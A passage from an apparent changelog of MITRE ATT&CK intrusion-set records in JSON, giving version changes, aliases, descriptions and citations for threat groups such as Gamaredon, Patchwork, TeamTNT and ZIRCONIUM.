>e (RaaS), Darkside. FIN7 may be linked to the [Carbanak](htt>as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Ca
>ps://attack.mitre.org/groups/G0008) Group, but there appears>rbanak](https://attack.mitre.org/groups/G0008) Group, but mu
> to be several groups using [Carbanak](https://attack.mitre.>ltiple threat groups have been observed using [Carbanak](htt
>org/software/S0030) malware and are therefore tracked separa>ps://attack.mitre.org/software/S0030), leading these groups 
>tely.(Citation: FireEye FIN7 March 2017)(Citation: FireEye F>to be tracked separately.(Citation: FireEye FIN7 March 2017)
>IN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citati>(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBAN
>on: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spid>AK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Cro
>er August 2021)(Citation: Mandiant FIN7 Apr 2022)>wdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 
 >Apr 2022)(Citation: BiZone Lizar May 2021)
" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:09.849000+00:00", + "modified": "2025-10-24 01:05:47.958000+00:00", + "name": "Gamaredon Group", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage group that has targeted military, law enforcement, judiciary, non-profit, and non-governmental organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) derives from a misspelling of the word \"Armageddon,\" found in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)\n\nIn November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia\u2019s Federal Security Service (FSB) Center 18, an assessment later supported by multiple independent cybersecurity researchers. (Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)", + "aliases": [ + "Gamaredon Group", + "IRON TILDEN", + "Primitive Bear", + "ACTINIUM", + "Armageddon", + "Shuckworm", + "DEV-0157", + "Aqua Blizzard" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0047", + "external_id": "G0047" + }, + { + "source_name": "ACTINIUM", + "description": "(Citation: Microsoft Actinium February 2022)" + }, + { + "source_name": "DEV-0157", + "description": "(Citation: Microsoft Actinium February 2022)" + }, + { + "source_name": "Aqua Blizzard", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Gamaredon Group", + "description": "(Citation: Palo Alto Gamaredon Feb 2017)" + }, + { + "source_name": "IRON TILDEN", + "description": "(Citation: Secureworks IRON TILDEN Profile)" + }, + { + "source_name": "Armageddon", + "description": "(Citation: Symantec Shuckworm January 2022)" + }, + { + "source_name": "Shuckworm", + "description": "(Citation: Symantec Shuckworm January 2022)" + }, + { + "source_name": "Primitive Bear", + "description": "(Citation: Unit 42 Gamaredon February 2022)" + }, + { + "source_name": "ESET Gamaredon June 2020", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/" + }, + { + "source_name": "TrendMicro Gamaredon April 2020", + "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/" + }, + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft Actinium February 2022", + "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/" + }, + { + "source_name": "Secureworks IRON TILDEN Profile", + "description": "Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.", + "url": "https://www.secureworks.com/research/threat-profiles/iron-tilden" + }, + { + "source_name": "Symantec Shuckworm January 2022", + "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine" + }, + { + "source_name": "Bleepingcomputer Gamardeon FSB November 2021", + "description": "Toulas, B. (2018, November 4). Ukraine links members of Gamaredon hacker group to Russian FSB. Retrieved April 15, 2022.", + "url": "https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/" + }, + { + "source_name": "Unit 42 Gamaredon February 2022", + "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.", + "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "ESET", + "Trend Micro Incorporated", + "Yoshihiro Kori, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "3.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 01:05:47.958000+00:00\", \"old_value\": \"2024-09-23 20:34:43.022000+00:00\"}, \"root['description']\": {\"new_value\": \"[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage group that has targeted military, law enforcement, judiciary, non-profit, and non-governmental organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) derives from a misspelling of the word \\\"Armageddon,\\\" found in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)\\n\\nIn November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia\\u2019s Federal Security Service (FSB) Center 18, an assessment later supported by multiple independent cybersecurity researchers. (Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)\", \"old_value\": \"[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \\\"Armageddon\\\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)\\n\\nIn November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \\\"Armageddon\\\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)\\n+[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage group that has targeted military, law enforcement, judiciary, non-profit, and non-governmental organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) derives from a misspelling of the word \\\"Armageddon,\\\" found in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)\\n \\n-In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)\\n+In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia\\u2019s Federal Security Service (FSB) Center 18, an assessment later supported by multiple independent cybersecurity researchers. (Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.2\", \"old_value\": \"3.1\"}}}", + "previous_version": "3.1", + "version_change": "3.1 \u2192 3.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Gamaredon Group](https://attack.mitre.org/groups/G0047) is t1[Gamaredon Group](https://attack.mitre.org/groups/G0047) is 
>a suspected Russian cyber espionage threat group that has ta>a suspected Russian cyber espionage group that has targeted 
>rgeted military, NGO, judiciary, law enforcement, and non-pr>military, law enforcement, judiciary, non-profit, and non-go
>ofit organizations in Ukraine since at least 2013. The name >vernmental organizations in Ukraine since at least 2013. The
>[Gamaredon Group](https://attack.mitre.org/groups/G0047) com> name [Gamaredon Group](https://attack.mitre.org/groups/G004
>es from a misspelling of the word \"Armageddon\", which was de>7) derives from a misspelling of the word \"Armageddon,\" foun
>tected in the adversary's early campaigns.(Citation: Palo Al>d in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017
>to Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April >)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET 
>2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec>Gamaredon June 2020)(Citation: Symantec Shuckworm January 20
> Shuckworm January 2022)(Citation: Microsoft Actinium Februa>22)(Citation: Microsoft Actinium February 2022)  In November
>ry 2022)  In November 2021, the Ukrainian government publicl> 2021, the Ukrainian government publicly attributed [Gamared
>y attributed [Gamaredon Group](https://attack.mitre.org/grou>on Group](https://attack.mitre.org/groups/G0047) to Russia\u2019s
>ps/G0047) to Russia's Federal Security Service (FSB) Center > Federal Security Service (FSB) Center 18, an assessment lat
>18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(>er supported by multiple independent cybersecurity researche
>Citation: Microsoft Actinium February 2022)>rs. (Citation: Bleepingcomputer Gamardeon FSB November 2021)
 >(Citation: Microsoft Actinium February 2022)
" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-05 18:54:56.267000+00:00", + "modified": "2025-10-22 02:54:00.893000+00:00", + "name": "Higaisa", + "description": "[Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)", + "aliases": [ + "Higaisa" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0126", + "external_id": "G0126" + }, + { + "source_name": "Malwarebytes Higaisa 2020", + "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021.", + "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/" + }, + { + "source_name": "PTSecurity Higaisa 2020", + "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021.", + "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/" + }, + { + "source_name": "Zscaler Higaisa 2020", + "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021.", + "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:54:00.893000+00:00\", \"old_value\": \"2024-04-11 02:19:20.934000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:07.145000+00:00", + "modified": "2025-10-21 23:13:16.458000+00:00", + "name": "Patchwork", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) is a cyber espionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)", + "aliases": [ + "Patchwork", + "Hangover Group", + "Dropping Elephant", + "Chinastrats", + "MONSOON", + "Operation Hangover" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0040", + "external_id": "G0040" + }, + { + "source_name": "Patchwork", + "description": "(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)" + }, + { + "source_name": "Chinastrats", + "description": "(Citation: Securelist Dropping Elephant)" + }, + { + "source_name": "Dropping Elephant", + "description": "(Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)" + }, + { + "source_name": "Hangover Group", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon)" + }, + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20180825085952/https:/s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "Operation Hangover May 2013", + "description": "Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20140424084220/http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf" + }, + { + "source_name": "Symantec Patchwork", + "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "source_name": "Unit 42 BackConfig May 2020", + "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.", + "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/" + }, + { + "source_name": "Operation Hangover", + "description": "It is believed that the actors behind [Patchwork](https://attack.mitre.org/groups/G0040) are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013)" + }, + { + "source_name": "Securelist Dropping Elephant", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + }, + { + "source_name": "MONSOON", + "description": "MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. (Citation: Forcepoint Monsoon) (Citation: PaloAlto Patchwork Mar 2018)" + }, + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 23:13:16.458000+00:00\", \"old_value\": \"2024-11-17 23:51:01.110000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-01 01:57:31.229000+00:00", + "modified": "2025-10-22 03:04:28.916000+00:00", + "name": "TeamTNT", + "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)", + "aliases": [ + "TeamTNT" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0139", + "external_id": "G0139" + }, + { + "source_name": "ATT TeamTNT Chimaera September 2020", + "description": "AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.", + "url": "https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera" + }, + { + "source_name": "Cado Security TeamTNT Worm August 2020", + "description": "Cado Security. (2020, August 16). Team TNT \u2013 The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.", + "url": "https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/" + }, + { + "source_name": "Unit 42 Hildegard Malware", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/" + }, + { + "source_name": "Trend Micro TeamTNT", + "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.", + "url": "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf" + }, + { + "source_name": "Intezer TeamTNT September 2020", + "description": "Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.", + "url": "https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/" + }, + { + "source_name": "Intezer TeamTNT Explosion September 2021", + "description": "Intezer. (2021, September 1). TeamTNT Cryptomining Explosion. Retrieved October 15, 2021.", + "url": "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf" + }, + { + "source_name": "Aqua TeamTNT August 2020", + "description": "Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.", + "url": "https://blog.aquasec.com/container-security-tnt-container-attack" + }, + { + "source_name": "Palo Alto Black-T October 2020", + "description": "Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021.", + "url": "https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/" + }, + { + "source_name": "Lacework TeamTNT May 2021", + "description": "Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 16, 2024.", + "url": "https://www.lacework.com/blog/taking-teamtnt-docker-images-offline" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Will Thomas, Cyjax", + "Darin Smith, Cisco" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:04:28.916000+00:00\", \"old_value\": \"2024-09-16 16:23:56.908000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29 20:17:48.717000+00:00", + "modified": "2025-10-21 23:19:38.101000+00:00", + "name": "Tropic Trooper", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)", + "aliases": [ + "Tropic Trooper", + "Pirate Panda", + "KeyBoy" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0081", + "external_id": "G0081" + }, + { + "source_name": "Pirate Panda", + "description": "(Citation: Crowdstrike Pirate Panda April 2020)" + }, + { + "source_name": "Tropic Trooper", + "description": "(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)" + }, + { + "source_name": "KeyBoy", + "description": "(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper Mar 2018)" + }, + { + "source_name": "Crowdstrike Pirate Panda April 2020", + "description": "Busselen, M. (2020, April 7). On-demand Webcast: CrowdStrike Experts on COVID-19 Cybersecurity Challenges and Recommendations. Retrieved May 20, 2020.", + "url": "https://www.crowdstrike.com/blog/on-demand-webcast-crowdstrike-experts-on-covid-19-cybersecurity-challenges-and-recommendations/" + }, + { + "source_name": "TrendMicro Tropic Trooper May 2020", + "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.", + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf" + }, + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + }, + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Edward Millington" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 23:19:38.101000+00:00\", \"old_value\": \"2024-04-18 18:24:29.185000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-24 15:48:17.731000+00:00", + "modified": "2025-10-15 20:39:25.843000+00:00", + "name": "ZIRCONIUM", + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)", + "aliases": [ + "ZIRCONIUM", + "APT31", + "Violet Typhoon" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0128", + "external_id": "G0128" + }, + { + "source_name": "APT31", + "description": "(Citation: Check Point APT31 February 2021)" + }, + { + "source_name": "Violet Typhoon", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Microsoft Targeting Elections September 2020", + "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021.", + "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/" + }, + { + "source_name": "Check Point APT31 February 2021", + "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021.", + "url": "https://research.checkpoint.com/2021/the-story-of-jian/" + }, + { + "source_name": 